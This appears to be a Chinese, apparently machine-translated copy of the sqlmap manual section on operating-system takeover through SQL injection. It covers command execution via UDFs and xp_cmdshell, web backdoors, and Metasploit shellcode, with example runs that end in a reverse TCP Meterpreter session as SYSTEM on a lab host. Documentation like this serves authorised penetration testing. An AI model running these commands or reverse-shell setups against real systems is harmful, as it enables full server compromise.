用法-操作系统接管-sqlmap用户手册-测试-IT技术博客

操作系统接管

运行任意操作系统命令

选项和开关:--os-cmd和--os-shell


当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的特权时,可以在数据库服务器的底层操作系统上运行任意命令。


在MySQL和PostgreSQL上,sqlmap(通过上述文件上传功能)上载包含两个用户定义函数sys_exec()和sys_eval()的共享库(二进制文件),然后在数据库上创建这两个函数并调用一个它们执行指定的命令,具体取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap滥用xp_cmdshell存储过程:如果禁用了该存储过程(默认情况下,在Microsoft SQL Server> = 2005上),则sqlmap会重新启用它。如果它不存在,则sqlmap从头开始创建它。


当用户请求标准输出时,sqlmap使用枚举SQL注入技术(盲,带内或基于错误)中的一种来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行命令。


这些技术在白皮书“高级SQL注入到操作系统的完全控制”中有详细介绍。


针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system
 can only be deleted manually

也可以模拟一个真实的shell,在其中您可以键入任意数量的任意命令。 该选项为--os-shell,并且具有与--sql-shell相同的TAB补全和历史记录功能。


如果尚未在Web应用程序上识别出堆栈查询(例如,后端数据库管理系统为MySQL的PHP或ASP),而DBMS为MySQL,则仍然有可能滥用SELECT子句的INTO OUTFILE在Web应用程序中创建Web后门。 如果后端DBMS和Web服务器托管在同一服务器上,则Web服务器文档根目录中的可写文件夹仍然可以执行命令。 sqlmap支持此技术,并允许用户提供可能的文档根子文件夹的逗号分隔列表,其中尝试上载Web文件暂存器和随后的Web后门。 此外,sqlmap具有针对以下语言的经过测试的Web文件登台程序和后门程序:


ASP

ASP.NET

JSP

PHP

带外状态连接:Meterpreter和朋友

开关和选项:--os-pwn,-os-smbrelay,-os-bof,-priv-esc,-msf-path和--tmp-path


当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server且会话用户有需要时,可以在攻击者机器与数据库服务器基础操作系统之间建立带外状态TCP连接。滥用数据库特定功能和体系结构弱点的特权。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。


sqlmap依靠Metasploit创建shellcode,并实现四种不同的技术来在数据库服务器上执行它。这些技术是:


通过sqlmap自己的用户定义函数sys_bineval()在Metasploit的shellcode的数据库内存中执行。在MySQL和PostgreSQL上受支持-切换--os-pwn。

通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数sys_exec()或Microsoft SQL Server上的xp_cmdshell()上载和执行Metasploit的独立有效负载暂存器-切换--os-pwn。

通过执行SMB反射攻击(MS08-068),执行从数据库服务器到Metasploit smb_relay服务器利用程序侦听的攻击者计算机的UNC路径请求,从而执行Metasploit的shellcode。在Linux / Unix上以高特权(uid = 0)运行sqlmap并且目标DBMS在Windows上以管理员身份运行时受支持-切换--os-smbrelay。

通过利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存储过程基于堆的缓冲区溢出(MS09-004),对Metasploit的shellcode进行数据库内存执行。 sqlmap有自己的利用漏洞,可以通过自动DEP内存保护绕过来触发该漏洞,但是它依靠Metasploit生成外壳代码,以便在成功利用漏洞后执行-切换--os-bof。

在白皮书《高级SQL注入到操作系统的完全控制》和幻灯片中,详细介绍了这些技术。从数据库扩展了对操作系统的控制。


针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..
                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|
    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,Windows上的MySQL以SYSTEM身份运行,但是PostgreSQL在Windows和Linux上均以低特权用户postgres身份运行。 默认情况下,Microsoft SQL Server 2000以SYSTEM身份运行,而Microsoft SQL Server 2005和2008在大多数情况下以NETWORK SERVICE(有时是本地服务)运行。


可以通过Metasploit的getsystem命令(其中包括kitrap0d技术(MS10-015))为sqlmap提供带有开关--priv-esc的命令,以执行数据库进程的用户特权升级。


标签: sqlmap教程sqlmapsqlmap手册用户手册sqlmap用户手册